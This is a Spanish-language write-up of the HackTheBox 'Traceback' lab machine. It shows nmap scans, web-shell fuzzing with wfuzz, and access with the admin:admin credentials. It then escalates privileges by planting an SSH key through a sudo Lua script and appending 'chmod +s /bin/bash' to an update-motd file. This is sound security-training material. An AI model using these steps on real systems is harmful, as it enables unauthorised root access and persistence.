Post

HackTheBox - Traceback

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Update-Motd Abusing

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

c. Al inspeccionar el código fuente de la página web, veremos un mensaje

  • Aquí nos da la pista de Some of the best web shells, este es un repositorio que cuenta con múltiples web shell en php, por lo que, fuzzearemos por los nombres de estas en el servicio web

    1
    2
    3
    4
    
      ❯ wfuzz -c -t 100 --hc=404 -w ./shells.txt 'http://10.10.10.181/FUZZ/'
    
      <SNIP>
      000000015:   200        58 L     100 W      1261 Ch     "smevk.php" 
    

d. Con esta web shell descubierta nos entablamos una reverse shell (Las credenciales válidas para la webshell son admin:admin)

Escalada de Privilegios 💹

a. Para maniobrar cómodamente generemos un par de claves id_rsa

1
2
webadmin@traceback:/home/webadmin/.ssh$ ssh-keygen
webadmin@traceback:/home/webadmin/.ssh$ cat id_rsa.pub > authorized_keys
  • Ahora nos copiamos la clave privada y nos podemos conectar por ssh

b. Leemos la nota de nuestro directorio y también nuestro fichero .bash_history

1
2
3
4
5
6
7
8
webadmin@traceback:~$ cat note.txt 
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

webadmin@traceback:~$ cat .bash_history 
sudo -u sysadmin /home/sysadmin/luvit privesc.lua

Podemos ejecutar cualquier script de lua como el usuario sysadmin

c. Ahora, generamos un par de claves id_rsa en nuestra máquina de atacante y copiaremos el fichero id_rsa.pub para copiarlo en /home/sysadmin/.ssh/authorized_keys y podernos conectar por SSH como el usuario sysadmin

1
2
❯ ssh-keygen
❯ cat id_rsa.pub | xclip -sel clip
  • Ahora crearemos el script de lua que nos permitirá realizar todo lo descrito anteriormente

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      local comando = "echo -n '[Clave id_rsa.pub]' > /home/sysadmin/.ssh/authorized_keys"
    
      local handle = io.popen(comando)
      local resultado = handle:read("*a") 
    
      handle:close()
    
      print("Salida del comando:")
      print(resultado)
    
  • Finalmente ejecutamos el script como sysadmin y ya nos podremos conectar con nuestra clave privada al servicio SSH

    1
    2
    3
    4
    5
    
      webadmin@traceback:/tmp$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
      ---------------------------------------------------------------------------
      ❯ ssh sysadmin@10.10.10.181 -i id_rsa
      $ bash
      sysadmin@traceback:~$ 
    

d. Buscamos ficheros en los que tengamos capacidad de escritura

1
2
3
4
5
6
7
sysadmin@traceback:~$ find / -writable 2>/dev/null | grep -vE "^/proc|^/run|^/lib|^/dev|^/sys"
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
<SNIP>
  • Al buscar formas de escalar privilegios encontramos este post

e. Inyectamos un comando para darle permiso SUID a la bash. Luego nos desconectamos y conectamos al servicio SSH para que el comando se ejecute

1
2
3
4
5
6
7
8
sysadmin@traceback:~$ echo "chmod +s /bin/bash" >> 00-header
sysadmin@traceback:~$ exit
-------------------------------------------------------------
❯ ssh sysadmin@10.10.10.181 -i id_rsa
-------------------------------------------------------------
$ bash -p
bash-4.4# whoami
root
This post is licensed under CC BY 4.0 by the author.